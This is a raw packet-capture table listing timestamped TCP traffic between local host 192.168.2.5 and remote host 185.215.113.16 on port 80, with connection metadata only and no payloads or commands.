Oct 30, 2024 00:20:16.426204920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426222086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426224947 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.426254034 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.426259041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426273108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426287889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426310062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.426489115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426503897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426526070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426529884 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.426549911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426564932 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.426565886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426579952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426603079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.426603079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426618099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426631927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426640034 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.426655054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426666975 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.426671028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426683903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426701069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426712990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.426713943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426728964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426740885 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.426742077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426765919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426775932 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.426781893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426796913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426801920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.426832914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.426836967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426851034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426865101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426879883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426884890 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.426913977 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.426944971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426958084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.426990986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.427020073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427057028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427073002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427093029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.427099943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427114010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427128077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427135944 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.427164078 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.427190065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427213907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427228928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427251101 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.427330971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427345037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427360058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427366972 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.427373886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427397966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427403927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.427421093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427436113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427438021 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.427449942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427469015 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.427474976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427490950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427505016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427510023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.427517891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427532911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427541018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.427546024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427563906 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.427578926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427608967 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.427614927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427628040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427649975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427663088 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.427664995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427695990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427700043 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.427711010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427726030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427743912 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.427759886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427794933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.427917957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427931070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427944899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427959919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.427962065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.427998066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.428014994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.428036928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.428051949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.428067923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.428070068 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.428083897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.428108931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.428694010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.428706884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.428721905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.428736925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.428745985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.428757906 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.428759098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.428774118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.428790092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.428792000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.428803921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.428828955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.428829908 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.428843021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.428858995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.428863049 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.428872108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.428889036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.428893089 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.428903103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.428916931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.428924084 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.428931952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.428951025 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.428956032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.428980112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.428993940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.428997040 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.429028988 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.429050922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.429066896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.429089069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.429097891 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.429105997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.429121017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.429136992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.429152966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.429174900 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.429951906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430023909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430039883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430064917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430067062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.430080891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430104971 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.430110931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430150986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.430238008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430265903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430282116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430295944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430304050 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.430310965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430325985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430329084 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.430340052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430355072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430368900 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.430370092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430385113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430394888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.430401087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430421114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.430425882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430448055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430461884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430469990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.430476904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430493116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430493116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.430509090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430522919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430535078 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.430537939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430553913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430563927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.430568933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430584908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430588961 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.430600882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430614948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430628061 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.430630922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430644989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430650949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.430660963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430675983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430691004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430692911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.430706978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430717945 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.430725098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430740118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430744886 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.430754900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430769920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430787086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.430788040 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.430804014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.431447029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.431476116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.431489944 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.431490898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.431507111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.431530952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.431534052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.431548119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.431571007 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.431643009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.431658983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.431673050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.431691885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.431700945 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.431708097 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.431756020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.431782007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.431793928 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.431797981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.431813002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.431833982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.431843042 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.431849003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.431864977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.431874990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.431879997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.431898117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.431899071 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.431911945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.431926966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.431941032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.431941032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.431957960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.431962967 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.431972027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.431987047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432004929 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.432008028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432024002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432030916 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.432039976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432054996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432063103 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.432070017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432085991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432096004 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.432100058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432116032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432127953 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.432130098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432149887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432156086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.432213068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432238102 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.432272911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432291985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432308912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432317019 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.432322979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432346106 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.432346106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432372093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432387114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432387114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.432403088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432418108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432427883 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.432432890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432446957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432452917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.432461977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432476044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432486057 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.432492018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432514906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432529926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432543993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432559013 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.432559013 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.432574987 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.432621956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432636023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432651043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432666063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432671070 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.432681084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432701111 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.432703018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432717085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432730913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432737112 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.432745934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432760954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432764053 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.432775974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432790041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432800055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.432805061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432820082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432826042 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.432833910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432847977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432863951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432883978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432889938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.432889938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.432928085 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.432940960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.432962894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.433003902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.434416056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.434530020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.434551954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.434566975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.434570074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.434581041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.434606075 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.434640884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.434655905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.434669971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.434674978 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.434704065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.434809923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.434824944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.434839010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.434854031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.434860945 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.434870005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.434885025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.434887886 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.434900045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.434915066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.434922934 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.434930086 CET	80	49712	185.215.113.16	192.168.2.5
